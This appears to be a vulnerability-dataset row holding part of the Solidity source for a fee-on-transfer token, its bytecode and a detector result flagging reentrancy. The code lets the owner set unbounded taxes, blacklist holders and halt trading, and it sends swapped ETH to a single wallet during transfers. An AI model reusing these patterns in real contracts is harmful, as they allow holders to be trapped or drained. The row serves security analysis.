mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 42000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xf204c45F3156DD9DeF335E81ae98CF7B037BF1Aa);
address payable private _marketingAddress = payable(0xf204c45F3156DD9DeF335E81ae98CF7B037BF1Aa);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 210000 * 10**9;
uint256 public _maxWalletSize = 420000 * 10**9;
uint256 public _swapTokensAtAmount = 77 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b257600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600d81526c437962657270756e6b2044414f60981b60208201525b60405161023d9190611a24565b60405180910390f35b34801561025257600080fd5b50610266610261366004611a79565b61069c565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50669536c7089100005b60405190815260200161023d565b3480156102de57600080fd5b506102666102ed366004611aa5565b6106b3565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023d565b34801561033057600080fd5b50601554610296906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611ae6565b61071c565b34801561037057600080fd5b506101fc61037f366004611b13565b610767565b34801561039057600080fd5b506101fc6107af565b3480156103a557600080fd5b506102c46103b4366004611ae6565b6107fa565b3480156103c557600080fd5b506101fc61081c565b3480156103da57600080fd5b506101fc6103e9366004611b2e565b610890565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611ae6565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610296565b34801561045b57600080fd5b506101fc61046a366004611b13565b6108bf565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b506040805180820190915260048152633230373760e01b6020820152610230565b3480156104be57600080fd5b506101fc6104cd366004611b2e565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b47565b610936565b3480156104fe57600080fd5b5061026661050d366004611a79565b610974565b34801561051e57600080fd5b5061026661052d366004611ae6565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b79565b6109d5565b34801561058357600080fd5b506102c4610592366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b2e565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae6565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c36565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c97565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c36565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c36565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c36565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c36565b60005b82811015610a70578160056000868685818110610a2157610a21611c6b565b9050602002016020810190610a369190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c97565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c36565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c36565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb2565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a24565b5060006112208486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce1565b816001815181106113ce576113ce611c6b565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611733565b6001600160a01b0389166000908152600260205260409020556115c681611792565b6115d084836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b6006546000908190669536c70891000061164282826114c1565b82101561165d57505060065492669536c70891000092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106279190611a24565b5060006112208486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149e565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117408385611cb2565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179c61149e565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114c1565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106ad565b60006118c08385611d91565b9050826118cd8583611d6f565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112e08161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112e082611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112e08161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c6d6707bd8e9a69e15a3b0f0b6c53069d9bdaff060ac9eba6c50c05d4952fe5f64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,299 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.